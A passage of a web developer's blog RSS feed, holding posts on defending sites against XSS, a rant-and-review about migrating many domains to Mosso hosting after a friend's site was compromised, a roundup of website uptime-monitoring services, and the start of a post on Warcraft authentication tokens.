<li><strong>Check out the <a href="http://www.owasp.org/index.php/Main_Page" target="_blank">OWASP (Open Web Application Security) website</a></strong> and stay up to date</li>
</ul>
<h3>Stuff to Do: <strong></strong></h3>
<p><strong>Always clean and validate ANY data you receive from the user</strong></p>
<p>Use the <strong>appropriate escaping for the programming languages and databases you use</strong></p>
<p><strong>Educate yourself on as many examples of XSS (both theoretical and in-the-wild) as you can</strong>, so you know what to look for. Wikipedia details a few common methods worth checking out on their <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross-Site Scripting page</a>. The only real defense you have against attacks is to keep yourself informed and current on what the bad guys are up to. This isn&#8217;t one of those things that you can read about once and rest on your laurels. You must be vigilant and aggressive about staying on top of what&#8217;s going on. It&#8217;s your job.</p>
<p><strong>Bookmark and test your scripts against the <a href="http://ha.ckers.org/xss.html" target="_blank">code samples on the XSS Cheatsheet</a></strong> on ha.ckers.org. This cheatsheet is specifically geared towards exploits that can potentially get past standard filtering that developers might do on their data, such as strip_tags. Also check out the <a href="http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/">MySQL Injection Cheat Sheet </a>and the <a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" target="_blank">SQL Injection Cheat Sheet</a>.</p>
<p><strong>P</strong><strong>eriodically check your webserver access logs and error logs</strong> and look for anything that looks like someone might be trying to find a backdoor. Look for people trying to pass data that doesn&#8217;t belong, sending variables that are common configuration file names, and so on.</p>
<p><strong>T</strong><strong>urn OFF error reporting displayed to the browser on production environments</strong>, and instead log errors to a file. Error messages can expose information about your file structure and your database structure.</p>
<p><strong>Pay attention!</strong> Keep your ear to the ground on sites like <a href="http://ha.ckers.org/" target="_blank">ha.ckers.org</a> and other (mostly) whitehat exploit blogs and communities. This is your livelihood. Do your job.</p>
<p><strong>If you&#8217;re using open source software, make sure you keep up to date with new releases. </strong>Many popular open source projects (such as WordPress, phpNuke, phpBB, etc) are frequent targets for malicious scripting. Be sure to hide references to your software version numbers from the public, since certain versions may have exploits that are well known, and attackers will know exactly how to target your site if they know what version you&#8217;re running.</p>
<p><strong>Shell out the $39 for the 300 page e-Book <em><a href="http://www.detectmalice.com/" target="_blank">Detecting Malice</a></em>, written by Robert Hansen</strong> (aka RSnake, on Twitter at <a href="http://twitter.com/RSnake">@RSnake</a>) <strong>and actually read it</strong>. I can&#8217;t believe I&#8217;m actually endorsing a freaking e-Book, but its really that good. I don&#8217;t know Robert personally, I&#8217;m not endorsing it as a favor or because I like him as a person. For all I know he eats puppies for breakfast. But his book is fantastic.</p>
<p>And finally, Test test test test test!</p>
<p>There&#8217;s even an <a href="http://twitter.com/xssexploits" target="_blank">interesting Twitter account that highlights high-profile XSS exploits</a> &#8211; it&#8217;s low-volume, but it&#8217;s surprising how many turn up that never make the news.</p>
<p>Incidentally, something I discovered while having a little fun on Apple.Com&#8217;s site &#8211; <strong>if you do a <a href="http://images.google.com/images?hl=en&amp;safe=off&amp;q=%22hot%20tar%20enema%22&amp;um=1&amp;ie=UTF-8&amp;sa=N&amp;tab=wi" target="_blank">Google Images search for &#8216;hot tar enema&#8221;</a>, only four images come up, and one of them is a photo of Rush Limbaugh</strong>. I&#8217;m not even making that up. Also funny, since I tweeted about that this afternoon, <a href="http://www.google.com/search?hl=en&amp;safe=off&amp;q=%22hot+tar+enema%22&amp;aq=f&amp;oq=&amp;aqi=" target="_blank">my tweet is now the number one Google search result for &#8220;hot tar enema&#8221;</a>. Aren&#8217;t you jealous?</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
<li><a href='http://www.snipe.net/2009/05/new-facebook-phishing-attempts/' rel='bookmark' title='Permanent Link: New Facebook Phishing Attempts'>New Facebook Phishing Attempts</a> <small>Looks like a new round of phishing attacks are well...</small></li>
<li><a href='http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/' rel='bookmark' title='Permanent Link: An Open Letter to Rackspace Cloud Hosting'>An Open Letter to Rackspace Cloud Hosting</a> <small>I just received an automated email from Rackspace that made...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/11/apple-coms-xss-exploit/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Moving to Mosso</title>
		<link>http://www.snipe.net/2009/01/moving-to-mosso/</link>
		<comments>http://www.snipe.net/2009/01/moving-to-mosso/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 17:09:55 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=972</guid>
		<description><![CDATA[I am in the process of migrating all 200 domain names (approximately 100 websites) on my server over to Mosso &#8211; which is why you would have gotten a 404 if you happened on the site for a short time last night. (.htaccess did not transfer correctly, so mod_rewrites were borked.) Sorry for any inconvenience [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fmoving-to-mosso%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fmoving-to-mosso%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>I am in the process of migrating all 200 domain names (approximately 100 websites) on my server over to <a href="http://www.mosso.com">Mosso</a> &#8211; which is why you would have gotten a 404 if you happened on the site for a short time last night. (.htaccess did not transfer correctly, so mod_rewrites were borked.) Sorry for any inconvenience &#8211; was my fault, not Mosso&#8217;s. <span id="more-972"></span></p>
<p>I have had my own dedicated machine, hosted in a colo in San Diego, for several years, and dedicated managed servers prior to that. While I enjoy the flexibility that running your own box allows, I just don&#8217;t have the time or interest in being a sysadmin, and I feel it is unwise for me to do a half-assed job at something I hate in a role that is as important as that. Until recently, moving all of those sites to any kind of shared hosting environment would have meant a steep increase in what I pay per month. With Mosso, I&#8217;ll be paying around $100 a month, $65 less than I pay now, assuming I don&#8217;t go over bandwidth.</p>
<p>I apologize in advance for how ranty this post is about to get. I realize some of you may have just come here to find out if Mosso would be a good match for you. I&#8217;ll explain more about my experience with them in a moment, but I have to get this off my chest first.</p>
<h2>I&#8217;m tired of being treated like a moron</h2>
<p>I haven&#8217;t done a shared hosting solution in years now, partly because its been cost prohibitive if you have more than a handful of websites, and partly because I got tired of being treated like a moron every time I had to talk to support. Just yesterday, I was on the phone with Lunarpages, on behalf of a friend. (My friend doesn&#8217;t know much about servers. His website had been compromised, so I offered to be the middleman between him and tech. I have NOTHING to do with his website &#8211; was just stepping in here.)</p>
<p>This is what I sent Lunarpages support:</p>
<blockquote><p>We recently experienced a script exploit on the domain name example.com. John Smith, the account holder, is copied on this message, as I am helping him try to find the source of the problem.</p>
<p>While we&#8217;re still trying to isolate the origin of the vulnerability, in viewing the FTP logs, we see several IP addresses that seem suspicious &#8211; several of these IP addresses track back to Russia and China.</p>
<p>The exploit allowed hundreds of randomly named index files to be created in directories with 755 permissions, owned by and belonging to the &lt;groupname&gt; group. Additionally, existing HTML files were edited to have a javascript appended to them containing links to hundreds of websites, all of which are reported as malicious websites. We can provide sample files that were generated, however the javascript that was inserted used randomly generated function names, so its nearly impossible to trace back via a google search.</p>
<p>The webroots of the malware sites seem to be normal websites, so it would seem that these sites are infected and unaware of it. The files appearing on their sites redirect to the intermediary site onlinedetect.com which then forwards to the malware site pro4scan.com:</p>
<p><a class="linkification-ext" title="Linkification: http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=www.onlinedetect.com&amp;hl=en-us" href="http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=www.onlinedetect.com&amp;hl=en-us">http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=www.onlinedetect.com&amp;hl=en-us</a><br />
<a class="linkification-ext" title="Linkification: http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=www.pro4scan.com&amp;hl=en-us" href="http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=www.pro4scan.com&amp;hl=en-us">http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=www.pro4scan.com&amp;hl=en-us</a></p>
<p>However, since the FTP logfiles are only accessible to us for 1 day, we are unable to view the apache and ftp logfiles for January 4, 2009, when the bogus files were created.</p>
<p>We have downloaded a recent backup of the site, however it would be great if we could access a backup from January 4th or 5th, as the 6th was the only day available. If possible, can you dump a backup from Jan 5 to the account root so we can download it by FTP.</p>
<p>We have already changed the login password to the FTP account, however since we are not 100% sure of what caused the exploit, if it is possible to set up a monitoring script on this account that will send a daily email of ftp login attempts and/or uploaded files, that would be extremely helpful. Not sure if you have something like that available.</p>
<p>We do not have many dynamic scripts set up on this account, however the one that could have potentially been the issue has been removed. If we had access to the log files from Jan 4, that would help us determine whether the exploit was done by way of passing malicious code via a GET or POST, which would help us rule out a few things.</p>
<p>We have set up a server monitor to alert us if the content of the affected pages changes more than 20%, but any assistance you can provide us with the above issues would be great.</p>
<p>Thank you very much for your assistance.</p></blockquote>
<p>What I got in response was a form letter response telling me to change my password.</p>
<p>*blink*</p>
<p>Are you fucking kidding me?</p>
<p>First of all, I already told you I did that &#8211; second of all, did you even read beyond the first sentence? I am asking you for something &#8211; something only you can provide me. Don&#8217;t give me some bullshit form letter. You are support. Support me.</p>
<p>I haven&#8217;t had to deal with a retail virtual hosting company in a long time &#8211; I had hoped they had changed. Evidently, they have not.</p>
<p>So, yeah &#8211; anyway, the thought of returning to a hosting company rather than having my own server made me want to chew through my own wrists. But the thought of having issues (and there were a few, although mostly minor &#8211; maintaining a server requires work) that I&#8217;d have to tackle by myself, or with the help of a friend who had the skill but not the time was equally troubling.</p>
<h2>Enter Mosso</h2>
<p>A <a href="http://www.thirdpartycode.com/" target="_blank">friend of mine in the PHP community</a> had been talking to me about Mosso for a while, but I hadn&#8217;t really looked into it. The combination of a crappy economy, the fact that my Virtualmin license was about to expire (which was going to cost me a few hundred clams to renew), the fact that I no longer live in San Diego (which I deeply lament every day) and can&#8217;t just go down to the colo when I need to,  and frustration over not having the time to do some things that needed to be done on the server finally forced my hand and I started looking into it.</p>
<p>Mosso is a Rackspace company, so their legendary &#8220;fanatical support&#8221; is extended to Mosso clients as well. I have worked with Rackspace a lot in the past, so there is a comfort level there. Mosso is also geared at developers, which is nice for a number of reasons, not the least of which being that when I call them, they know I have a clue and treat me appropriately.</p>
<p>Using Mosso, I can create as many individual sites as I want, including some for clients with hosting billing packages built right in. Moss takes care of emailing them a billing reminder, accepting the payment, and then they transfer the money to you. There<em> is</em> a fraud-prevention hold period that prospective customers should be aware of &#8211; when the client pays their bill, you don&#8217;t see the money right away. Of course, you can always disable billing and ask your customers to send you a check or pay you directly through some other method if that&#8217;s an issue for you. For me, remembering to bill my hosting clients was where I really sucked, so this feature was a definite plus. Getting my money a month or two later &#8211; as opposed to never getting it because I forgot to bill them &#8211; is an okay plan to me. Plus it saves me the hassle of getting another merchant account, which just isn&#8217;t worth it for me for the limited number of paid hosting clients I have on the account.</p>
<p>I chatted with some of the guys from Mosso on Twitter for a few weeks, and perhaps more importantly, I <em>listened</em>. I was watching how they interacted with customers, and what their customers were saying about them. I talked to friends who had made the switch, and pinged people I didn&#8217;t know who were using Mosso. This move is a BFD, and not a decision I could take lightly. I&#8217;d be moving around 5 very active and important websites with heavy customization and big fat databases, as well as a hundred smaller, less critical ones.</p>
<p>Finally we arranged a call. (I have never actually been given the option of spending a half hour on the phone with someone from a hosting company before buying in, so that it and of itself was new.) When the call was done, I had pretty much run out of reasons not to switch.</p>
<p>My two primary apprehensions were that Mosso does not support ssh, and that I didn&#8217;t know what my monthly bandwidth was for the box I&#8217;m currently on, so I couldn&#8217;t determine whether I would be in danger of going over straight out of the starting gate. Truthfully, the only times I usually need ssh are when something has gone wrong &#8211; I don&#8217;t use it that often, and Mosso does support <a href="http://fuse.sourceforge.net/sshfs.html" target="_blank">SSHFs</a>. As for bandwidth, I&#8217;m still not 100% sure on that end, but I talked to the fellow that handles my colo box and he said he didn&#8217;t think it went over 500GB per month, which is Mosso&#8217;s limit before they charge you extra. Most of the traffic on my server comes from my non-profit organization website, however, and Mosso will apparently comp bandwidth overages for the non-profit.</p>
<h2>Sold &#8211; So what&#8217;s next?</h2>
<p>So, I&#8217;ve been trying to migrate sites over, a few more every day. I have thirty-something moved over so far, but I&#8217;m taking it slowly so I don&#8217;t kill myself over it and don&#8217;t make mistakes. Its a lot of work, and being that I work full-time, commute 4.5 hours a day and run a non-profit, I&#8217;m beat by the time I get home.</p>
<p>So far, the migrations have been flawless. A few sites have had databases that were too large to import using phpmyadmin, but I just clicked on the &#8220;support &gt; live chat&#8221; option in my admin, connected with a tech, and asked them to import it. Less than a minute later, it was done. It took longer to upload the sql dump than it did for the entire customer service experience. Moving this site took a little longer, just because of a larger database &#8211; but one of the other WordPress sites I host went over in literally 5 minutes or less, including the initial download of files from the old server. A few quick changes to the config file with new database credentials and it was done.</p>
<p>There are a few differences in their control panel compared to what I&#8217;m used to, some good, some not as good. Some usability stuff, which I&#8217;ll probably mention to them at some point but are not that big of a deal. Having a view-all option (or user configured preference for number returned) for clients or website listings, instead of 10 per page, would be stellar. When you have 200 domain names, that&#8217;s a lot of clicking. Their control panel is home grown, and a helluva lot more usable than many I&#8217;ve seen (SO much more user-friendly than cpanel or webmin), but it could use a little tweaking. Still one of the best I&#8217;ve seen, and I&#8217;ve seen a lot.</p>
<p>When you create an account in Mosso&#8217;s control panel, it automagically creates a top-level testing domain, which is a huge help. For example, immediately after I created the snipe.net domain in the Mosso control panel, the control panel gave me link to my testing url. Since it&#8217;s a sub-domain of one of theirs, it won&#8217;t break any &#8220;/&#8221; links or image paths you might have in the page, and you can kick the tires thoroughly before you pull the DNS trigger and switch things over.</p>
<p>They didn&#8217;t have an email migration script when I signed up, but one of their techs took it upon himself to write one. It&#8217;s in testing now. I have several email accounts with over 100k messages, and although I use imap, if there is an easier way than spending the next two weeks downloading my imap map and copying it over to the new imap account, I&#8217;d be really thrilled with that. And it looks like there is. So yay.</p>
<p>It&#8217;s early to tell yet, but I like what I&#8217;ve seen so far. Their support has been quick to respond and very helpful. Server speeds seem just fine, email is working as expected. Really, I don&#8217;t have any complaints. Of course, the paranoid side of me will keep my old server in colo for another month or two, just for the peace of mind that I can switch DNS back if I need to, but I&#8217;m not expecting to have to do that anytime soon.</p>
<p>If you&#8217;re interested in giving Mosso a shot, they offer a 30 day risk-free trial (money back guarantee) &#8211; and <strong>if you use the promotional code REF-SNIPE, </strong><strong>you’ll get a $25 rebate/refund on your first month&#8217;s bill</strong>. If you&#8217;re still not sure or you have more questions, <a href="http://twitter.com/Mosso" target="_blank">follow @mosso on twitter</a>. They&#8217;re very responsive, and often quite funny.</p>
<p>While talking to them on Twitter before I signed on, I told @mosso, &#8220;You guys are like the Obama of website hosting. I&#8217;m excited about the possibilities but praying you don&#8217;t dick me over.&#8221;</p>
<p>So far, so good &#8211; for both <img src='http://www.snipe.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/02/some-notes-on-moving-to-mosso/' rel='bookmark' title='Permanent Link: Some Notes on Moving to Mosso'>Some Notes on Moving to Mosso</a> <small>It&#8217;s been over a month since I opened my account...</small></li>
<li><a href='http://www.snipe.net/2009/03/and-still-more-notes-on-mosso/' rel='bookmark' title='Permanent Link: And Still More Notes on Mosso'>And Still More Notes on Mosso</a> <small>Continuing in the Moving to Mosso series, I&#8217;ve come across...</small></li>
<li><a href='http://www.snipe.net/2009/05/new-facebook-phishing-attempts/' rel='bookmark' title='Permanent Link: New Facebook Phishing Attempts'>New Facebook Phishing Attempts</a> <small>Looks like a new round of phishing attacks are well...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/01/moving-to-mosso/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Cheap or Free Website Status Monitoring</title>
		<link>http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/</link>
		<comments>http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 00:20:14 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[uptime]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=718</guid>
		<description><![CDATA[Its a call you never, ever want to get. &#8220;My server is down!&#8221; or &#8220;Our website has been hacked!&#8221; As a developer, there are few things that make you look worse than getting a call from your client letting you know that their site is down, or worse yet, hacked. Even if you&#8217;re not directly [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fcheap-or-free-website-status-monitoring%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fcheap-or-free-website-status-monitoring%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Its a call you never, ever want to get. &#8220;My server is down!&#8221; or &#8220;Our website has been hacked!&#8221; As a developer, there are few things that make you look worse than getting a call from your client letting you know that their site is down, or worse yet, hacked. Even if you&#8217;re not directly involved with hosting their website, they look to you to be on top of the game. <span id="more-718"></span></p>
<p>Servers will occasionally have hiccups, but if you&#8217;re the one calling them to let them know there is a problem and you&#8217;re on top of it, it will only benefit you. So the trick here is to know there is a problem before they do. If you have several different clients (or wear a few too many hats in your current job), this can be easier said than done, especially if you&#8217;re no longer in a development phase but have gone into a maintenance phase.</p>
<p>Unless you want to manually check every client site every hour or so, every day, all hours of the day, you need a better plan. So to make sure you come out smelling like roses, even if the server is a piece of something that doesn&#8217;t smell nearly as good, you&#8217;ll want to look into site monitoring services.<br />
<!--adsense--></p>
<h2>Website/Uptime Monitoring</h2>
<p>All website/uptime monitoring services basically work the same way: a third-party service attempts to reach out to your server at specific intervals and alerts you if it cannot. Pretty basic stuff &#8211; although a few services offer more advanced features that you may feel are worth the money. These services are nice because they monitor the server externally, and there is nothing to install.</p>
<p>Some of the features offered by various services are:</p>
<p><strong>Checking whether or not certain keywords are present &#8211; or not present &#8211; in the title or body of your website.</strong> If you have a site that has been targeted for hacking or defacement in the past, this is a good way to be notified right away if there&#8217;s a problem. While it may take you time to fix the vulnerability and restore things to normal, at least you&#8217;ll know before your client (or your users) and do some damage control (put up a &#8220;technical difficulties&#8221; page, etc.) You might start with something simple, like making sure the name of your site appears in the title or body of the page, since most defacements will often replace the entire contents of your page with their defacement.</p>
<p><strong>Configurable timeout that determines whether the server really is down (or slow). </strong>The threshold for a &#8220;problem&#8221; may vary, depending on the expectations of the client and the server setup. If your client is paying $300 a month for a managed Rackspace slot, the response time from the server might be expected to be a little better than the $5 a month Dreamhost account.</p>
<p><strong>SMS notification when there is a problem.</strong> While this puts you in the position of potentially getting text message alerts at 4AM, it makes sure you&#8217;re made aware of the problem. It absolutely sucks getting woken up in the wee hours of the morning to have to fix a server issue, but when your client sees your emails letting <em>them</em> know there is a proble (instead of the other way around) with a 4AM timestamp, you come out looking like a rockstar who goes above and beyond for their clients and is utterly obsessed with their website. Unless your client has a really crappy hosting company, the wake-up calls shouldn&#8217;t happen often. If they happen often, its time to talk to your client about finding a new web host.</p>
<p><strong>Monitoring from multiple geographic locations. </strong>Sites can be unreachable for a variety of reasons. Sometimes there really is a problem with the server, and sometimes it can be as simple as a BINF (backhoe-induced network failure). Monitoring from multiple locations can alert you when the site may be unreachable by a certain region or certain ISP customers due to issues beyind your control, and can also help confirm quickly that the problem really is with your server if that&#8217;s the case.</p>
<p>There are additional features that some services offer, such as the ability to publicly display your uptime stats on your website that are really just gravy. Unless you&#8217;re running a hosting company, your users don&#8217;t care about your uptime &#8211; and if you&#8217;re running a hosting company, you damn well better have your own monitoring system, or you&#8217;re in the wrong business. Your clients will only care about their uptime when the server is down. If its not broken, they just don&#8217;t give a damn.</p>
<h2>Free Website Status Monitoring Services</h2>
<p>There are a handful of very basic uptime monitoring services that you can sign up for today and that won&#8217;t cost you a dime.   These free services are perfectly fine for individual site or blog owners who just want to be notified if their server is unreachable. They don&#8217;t offer many (or any) additional options, but they generally do what they promise to do, and they&#8217;re free, so there&#8217;s no harm in setting them up.</p>
<p><strong><a href="http://aremysitesup.com/" target="_blank">AreMySitesUp.Com</a></strong><br />
The good folks over at CSS-Tricks just launched this very basic (and very free!) service, and it looks to be pretty solid. Read more about it at <a href="http://css-tricks.com/launch-are-my-sites-up/" target="_blank">CSS-Tricks</a>, or <a href="http://aremysitesup.com/" target="_blank">sign up here</a>. It hasn&#8217;t been around long enough for me to personally vouch for them, but its certainly worth trying. I&#8217;ve gotten some false positives since I signed up, two per day.</p>
<p style="text-align: center;">
<div id="attachment_722" class="wp-caption aligncenter" style="width: 580px"><a href="http://aremysitesup.com/"><img class="size-full wp-image-722" title="site-preview" src="http://www.snipe.net/wp-content/uploads/2009/01/site-preview.jpg" alt="AreMySitesUp" width="570" height="363" /></a><p class="wp-caption-text">AreMySitesUp</p></div>
<p><strong><a href="http://uptimeparty.com/" target="_blank">UptimeParty</a></strong><br />
This service offers you one free monitor, and allows you to upgrade for multiple monitors for a reasonable price. I have tried this one, and it works just fine. Again, no advanced features, just basic &#8220;is the site answering or not&#8221;, but certainly worth signing up for the free monitor if you only have a personal site or blog you want to watch. Again, a few false positives, although fewer than AreMySitesUp.</p>
<div id="attachment_723" class="wp-caption aligncenter" style="width: 580px"><a href="http://uptimeparty.com/"><img class="size-full wp-image-570" title="picture-7" src="http://www.snipe.net/wp-content/uploads/2009/01/picture-7.png" alt="Uptime Party" width="570" /></a><p class="wp-caption-text">Uptime Party</p></div>
<p><strong><a href="http://basicstate.com/" target="_blank">Basic State</a></strong><br />
Featured as an MSNBC site of the week, Basic State offers basic site monitoring for free, and includes free SMS alerts in their free account features, something the other freebies don&#8217;t. Their monitoring time is not configurable &#8211; it will ping your server every 15 minutes, but it does support checking payment gateways and SSL certificates, which is nice.   The interface is a bit clunky, but easy enough once you figure it out.</p>
<div id="attachment_570" class="wp-caption aligncenter" style="width: 580px"><a href="http://basicstate.com/"><img class="size-full wp-image-570" title="picture-8" src="http://www.snipe.net/wp-content/uploads/2009/01/picture-8.png" alt="picture-8" width="570" /></a><p class="wp-caption-text">Basic State</p></div>
<p><strong><a href="http://site24x7.com/" target="_blank">Site 24&#215;7</a></strong><br />
This service offers commercial services (discussed in more detail below) but also offers two free monitors that check status every 60 minutes. The free account comes with 10 free SMS alerts, but you can purchase more on the free account if you need.</p>
<h2>Commercial (But Still Cheap) Options</h2>
<p><strong><a href="http://site24x7.com/" target="_blank">Site 24&#215;7</a></strong><br />
As mentioned above Site 24&#215;7 offers limited free accounts, but their commercial accounts come in packages that can fit just about any budget. You can <a href="http://site24x7.com/comparison.html" target="_blank">compare packages and features here</a>.   They offer the standard fare of email and SMS alerts, and they also allow you to configure how frequently your sites are monitored on a site-by-site basis, which is nice. Low traffic, low profile sites can be delegated as an every 60 minute monitor, while high-profile sites can check every 5 minutes. Pricing is scaled on the interval level, so setting a less-frequent monitor can help keeps costs within your budget. They also offer e-mail server monitoring. although I haven&#8217;t taken advantage of that service.</p>
<p>You can set up keyword criteria and set specific timeout thresholds per site. Plus, one thing Site 24&#215;7 offers that most others don&#8217;t is <strong>the ability to monitor web applications</strong>, including those that require a login and require the user to perform a certain set of actions to get to the monitored area. You can do this by downloading their recording tool that lets you literally record your actions such as logging in, clicking on a specific link, etc. This may sound complicated &#8211; its actually not, and its a great way to monitor stuff like Facebook applications, where you have to be logged into Facebook before you can check whether or not the application is working. Their recording tool is windows only, but that&#8217;s what Parallels is for <img src='http://www.snipe.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />    Plus, you won&#8217;t need to record it more than once.</p>
<p>Another nice feature is their emailed reports. These aren&#8217;t necessary, but can be a nice thing to send on to clients (they&#8217;re nicely formatted and contain graphs) to show them how much you rock.</p>
<p style="text-align: center;">
<div id="attachment_730" class="wp-caption aligncenter" style="width: 580px"><a href="http://site24x7.com/"><img class="size-full wp-image-570" title="picture-9" src="http://www.snipe.net/wp-content/uploads/2009/01/picture-9.png" alt="Site 24x7" width="570" /></a><p class="wp-caption-text">Site 24x7</p></div>
<p><strong><a href="http://www.siteuptime.com/" target="_blank">SiteUptime</a></strong><br />
SiteUptime offers many of the same services as Ste24x7 &#8211; HTTP, SMTP, POP, FTP, SSL monitoring, for a comparable price. They also offer a free account that gives you one free monitor, and would be a good way to check out their services before shelling out any money. Their advanced plan is still only $10 a month, so still well within a reasonable budget range &#8211; and if you oay a year in advance, you can save $20.</p>
<p style="text-align: center;">
<div id="attachment_732" class="wp-caption aligncenter" style="width: 580px"><a href="http://www.siteuptime.com/"><img class="size-full wp-image-570" title="picture-10" src="http://www.snipe.net/wp-content/uploads/2009/01/picture-10.png" alt="Site Uptime" width="570" /></a><p class="wp-caption-text">Site Uptime</p></div>
<p>A few other uptime services that I haven&#8217;t personally tried, but that have gotten good reviews are <a href="http://www.pingdom.com/" target="_blank">Pingdom</a> and <a href="http://www.serviceuptime.com/" target="_blank">ServiceUptime</a>. Their prices seem comparable (although ServiceUptime seems a little steeper than the others), with equivalent services.</p>
<h2>Conclusion</h2>
<p>Since you&#8217;ve got some free options here, there is really no good reason not to be monitoring your server (or your client&#8217;s server) uptime.</p>
<p><strong>I strongly recommend using a commercial service if you are a professional developer.</strong> I use Site 24&#215;7, with SMS alerts, and have been very happy with their service and can recommend them wholeheartedly. The commercial options listed here are certainly reasonably priced, and can easily be passed on to your clients through maintenance charges. Whether you are responsible for their hosting situation or not, you are likely in a better position to help them understand when something goes wrong. It is the kind of value-added service that will set you apart from other web developers or development shops.</p>
<p>A final note &#8211; when you sign up for e-mail alerts from monitoring services, <strong>be sure to use an email address that is not connected to the server you&#8217;re monitoring</strong>. If the server goes down, there is a good chance that your email will also be affected, so it stands to reason you&#8217;d want to use an email address that is completely independent of your server, such as your ISP email or gmail.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/01/learn-new-languages-online-for-free/' rel='bookmark' title='Permanent Link: Learn New Languages Online For Free with LiveMocha'>Learn New Languages Online For Free with LiveMocha</a> <small>Learning a new language becomes increasingly harder, the older we...</small></li>
<li><a href='http://www.snipe.net/2008/06/free-online-image-editors/' rel='bookmark' title='Permanent Link: Free Online Image Editors'>Free Online Image Editors</a> <small>Even if you&#8217;ve got a good graphics package (and more...</small></li>
<li><a href='http://www.snipe.net/2010/02/wireframes/' rel='bookmark' title='Permanent Link: Sexy, Cheap and Easy: Not Your Mom, Your Wireframes'>Sexy, Cheap and Easy: Not Your Mom, Your Wireframes</a> <small>I&#8217;m a planning whore. It&#8217;s true. I&#8217;m one of those...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Warcraft Security Better Than Banking Security?</title>
		<link>http://www.snipe.net/2008/12/warcraft-security-better-than-banking-security/</link>
		<comments>http://www.snipe.net/2008/12/warcraft-security-better-than-banking-security/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 16:55:06 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Geek Life]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[banking]]></category>
		<category><![CDATA[citrix]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[warcraft]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=459</guid>
		<description><![CDATA[Is your World of Warcraft account more secure than your online banking account? Blizzard, creator of the immensely popular MMORPG game World of Warcraft, has come out with authentication tokens as an added layer of security for game account holders. For $6.50, you can order a key fob that generates a random number when you [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F12%2Fwarcraft-security-better-than-banking-security%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F12%2Fwarcraft-security-better-than-banking-security%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Is your World of Warcraft account more secure than your online banking account?</p>
<p><span id="more-459"></span></p>
